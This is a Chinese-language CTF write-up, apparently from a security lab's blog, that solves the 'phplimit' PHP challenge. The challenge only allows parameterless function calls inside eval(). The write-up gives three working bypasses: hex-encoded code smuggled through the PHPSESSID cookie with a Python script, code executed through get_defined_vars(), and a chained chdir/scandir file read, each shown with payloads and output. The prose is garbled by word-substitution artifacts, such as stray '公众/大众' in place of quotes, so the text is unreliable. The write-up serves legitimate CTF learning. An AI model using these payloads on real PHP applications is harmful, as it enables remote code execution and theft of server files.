序言
接着前面的代码审计从入门到放弃(一) & function、代码审计从入门到放弃(二) & pcrewaf
本次是phplimit这道题,本篇文章供应了3种解法,即如何利用无参数函数进行RCE/任意文件读取
题目概述
题目源码如下:
<?phpif(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {eval($_GET['code']);} else {show_source(__FILE__);}
代码非常清晰,首先
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
代码会将$_GET['code']中知足正则/[^\W]+((?R)?)/的部分,更换为空,然后查看是否剩下的部分强即是;
如果知足,则实行
eval($_GET['code']);
否则什么都不做。那么思路很明确,我们弄清楚正则即可进行RCE
[^\W]+\((?R)?\)
首先是[^\W]
对付\W,其意思等价于[^A-Za-z0-9_]。
那么我们知道,我们的input必须以此开头
然后是括号匹配
\( ...... \)
括号中间为
(?R)?
意思为重复全体模式
大略理解,我们可以输入以下类型
a(b(c()))
但我们不能加参数,否则将无法匹配
a(c,d)
以是正则看完,题目的意思非常明确了:
我们只能input函数,但函数中不能利用参数,否则判断句右边经由更换,将不止剩余分号;
漏洞点剖析
那么有没有办法通过无参数函数,达到RCE的目的呢?答案显然是不可能的,没有参数,怎么通报我们须要实行的指令呢?
以是我们的目标也变得很明确:通过某种无参数函数获取指定位置的变量value,达到RCE的目的。
那么哪里有我们可以掌握的变量,并且还能通过无参数函数获取到呢?
那么思路又变得清晰了,http header便是我们的打破口。我们可以变动header中的各项属性,以及其value。
那么有没有函数可以函数http header呢?
我们在php手册中直接搜索
能用的手段很多,例如
getallheaders()file_get_contents(array_pop(apache_request_headers()))
但如果我们测试的话,会创造均不可用,由于其为Apache函数
但我们看当前题目
< HTTP/1.1 200 OK< Server: nginx/1.15.9< Date: Sun, 10 Mar 2019 05:24:56 GMT< Content-Type: text/html; charset=utf-8< Transfer-Encoding: chunked< Connection: keep-alive< X-Powered-By: PHP/5.6.40<
其是nginx,以是之前的办法均无效了。
探求nginx函数
那么现在思路又进一步变为:探求nginx函数,以获取http headers
查阅php手册,并未创造干系可利用函数,于是此路终止。
那不能获取http headers怎么办?我们又该如何进行参数的通报?
这里我们可以转换一下思路,之间获取http headers,我们能获取非常多的属性,也便是说我们的可修正位置非常多,相称于一个面。但实在我们只要能够获取,并修正1条属性就够了,例如cookie或是X-Forward-For等等……
这样就相称于从探求一个面变成探求一个点,难易程度就会大幅低落。
那么最随意马虎想到的该当便是cookie了
法1
我们在php手册中,搜索cookie
我们点入session中,可以创造这样一个函数
session_id ([ string $id ] ) : string
session_id() 可以用来获取/设置当前会话 ID。
那么我们可以用此方法来获取phpsessionid,并且phpsessionid可控
但其有限定如下
文件会话管理器仅许可会话 ID 中利用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)
但问题不大,实际上我们只要拥有
0-9,a-f
就够了,由于我们可以将16进制转字符串,例如
>>> print 'echo \公众sky cool\"大众;'.encode('hex')6563686f2022736b7920636f6f6c223bphp > eval(hex2bin('6563686f2022736b7920636f6f6c223b'));sky cool
我们可以看到,成功的实行命令
也便是说,我们只要利用
eval(hex2bin(session_id()));
即可实行任意命令
但是当前题目并没有开启session_start()
以是我们这里输入如下即可
hex2bin(session_id(session_start()))
我们编写脚本
import requestsurl = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'payload = \"大众echo 'sky cool';\公众.encode('hex')cookies = {'PHPSESSID':payload}r = requests.get(url=url,cookies=cookies)print r.content
那么下面便是找flag即可
payload = \"大众var_dump(scandir('./'));\"大众.encode('hex')array(3) {[0]=>string(1) \"大众.\"大众[1]=>string(2) \公众..\"大众[2]=>string(9) \"大众index.php\"大众}payload = \公众var_dump(scandir('../'));\"大众.encode('hex')array(4) {[0]=>string(1) \"大众.\公众[1]=>string(2) \"大众..\公众[2]=>string(14) \"大众flag_phpbyp4ss\"大众[3]=>string(4) \"大众html\公众}payload = \公众var_dump(file_get_contents('../flag_phpbyp4ss'));\"大众.encode('hex')string(38) \"大众flag{e86963ba34687d269b9faf526ce68cd7}\"大众
末了可以成功getflag:
flag{e86963ba34687d269b9faf526ce68cd7}
法2
我们通过php session的掌握,达成了RCE的目的,那么我们有没有其他类似的方法呢?
答案是肯定的,我们还可以通过我们通报的参数来进行RCE
有如下函数
get_defined_vars()
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、做事器变量和用户定义的变量。
我们测试一下
http://localhost/?code=var_dump(get_defined_vars());&a=2
得到回显
array(4) { [\"大众_GET\"大众]=> array(2) { [\"大众code\"大众]=> string(29) \"大众var_dump(get_defined_vars());\"大众 [\"大众a\"大众]=> string(1) \"大众2\公众 } [\"大众_POST\"大众]=> array(0) { } [\"大众_COOKIE\"大众]=> array(0) { } [\"大众_FILES\"大众]=> array(0) { } }
那么如何将里面的
[\"大众a\"大众]=> string(1) \"大众2\"大众
提取出来呢?
这里有一系列提取位置的函数,我们首先利用current()函数
得到回显
?code=var_dump(current(get_defined_vars()));&a=2array(2) { [\"大众code\"大众]=> string(38) \"大众var_dump(current(get_defined_vars()));\"大众 [\"大众a\"大众]=> string(1) \"大众2\"大众 }
我们再取这个数组的末了一个
?code=var_dump(end(current(get_defined_vars())));&a=2string(1) \"大众2\"大众
即得到了回显。
那么后面就比较大略了,掌握a进行RCE即可
?code=eval(end(current(get_defined_vars())));&a=phpinfo();
然后getflag
?code=eval(end(current(get_defined_vars())));&a=readfile(%27../flag_phpbyp4ss%27);
即可拿到flag
flag{e86963ba34687d269b9faf526ce68cd7}
法3
为什么一定要RCE呢?这个题既然flag放在文件里,我们能不能直接读文件就行?
之前的方法都基于可以进行RCE,可以说我们是把题目难度又加大了,实际上,我们只进行任意文件读取即可
那么想读文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?
首先,我们可以利用getcwd()获取当前目录
?code=var_dump(getcwd());string(13) \公众/var/www/html\"大众
那么怎么进行当前目录的目录遍历呢?
这里用scandir()即可
?code=var_dump(scandir(getcwd()));array(3) { [0]=> string(1) \"大众.\"大众 [1]=> string(2) \"大众..\"大众 [2]=> string(9) \公众index.php\"大众 }
那么既然不在这一层目录,如何进行目录上跳呢?
我们用dirname()即可
?code=var_dump(scandir(dirname(getcwd())));array(4) { [0]=> string(1) \"大众.\"大众 [1]=> string(2) \"大众..\"大众 [2]=> string(14) \公众flag_phpbyp4ss\公众 [3]=> string(4) \"大众html\"大众 }
即可创造flag文件,那么问题又回到之前,如果取数组指定位置的值,我们须要取的位置是第3个,我们有的方法如下
current() 取第一个
next() 取第二个
end() 取末了一个
那么怎么取第三个呢?
我们这里让数组倒叙,然后取第二个即可
?code=var_dump(next(array_reverse(scandir(dirname(getcwd())))));string(14) \"大众flag_phpbyp4ss\"大众
那么读文件
?code=file_get_contents(next(array_reverse(scandir(dirname(getcwd())))));Warning: file_get_contents(flag_phpbyp4ss): failed to open stream: No such file or directory in /var/www/html/index.php(3) : eval()'d code on line 1
创造报错了,我们找不到这个文件,由于没有../上跳呀,这该怎么办呢?
这里我们创造有函数可以变动当前目录
chdir ( string $directory ) : bool
将 PHP 确当前目录改为 directory。
以是我们这里在
dirname(getcwd())
进行如下设置即可
chdir(dirname(getcwd()))
这样我们确当前目录就在/var/www下了
但此时,我们的值变为了bool值,我们为了遍历目录,须要让他变回来,以是我们前辈行目录上跳
var_dump(dirname(chdir(dirname(getcwd()))));string(1) \"大众.\公众
再列目录
var_dump(scandir(dirname(chdir(dirname(getcwd())))));array(4) { [0]=> string(1) \"大众.\"大众 [1]=> string(2) \公众..\"大众 [2]=> string(14) \"大众flag_phpbyp4ss\公众 [3]=> string(4) \"大众html\"大众 }
然后就回到了之前的问题了,我们直接取文件,读取即可
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
即可拿到flag
flag{e86963ba34687d269b9faf526ce68cd7}
小结
这种开放式的题目非常有趣,可以帮助我们理解许多php黑邪术和各种组合,我相信方法远不止这3种,欢迎各位谈论
干系实验操作
1. PHP脚本措辞根本:学会根本的PHP编程
http://www.hetianlab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916344500001
2. Nginx代码实行和目录超过漏洞:熟习目录超过的成因和攻击利用
http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2016091916132900001
本文为合天原创,未经许可,严禁转载。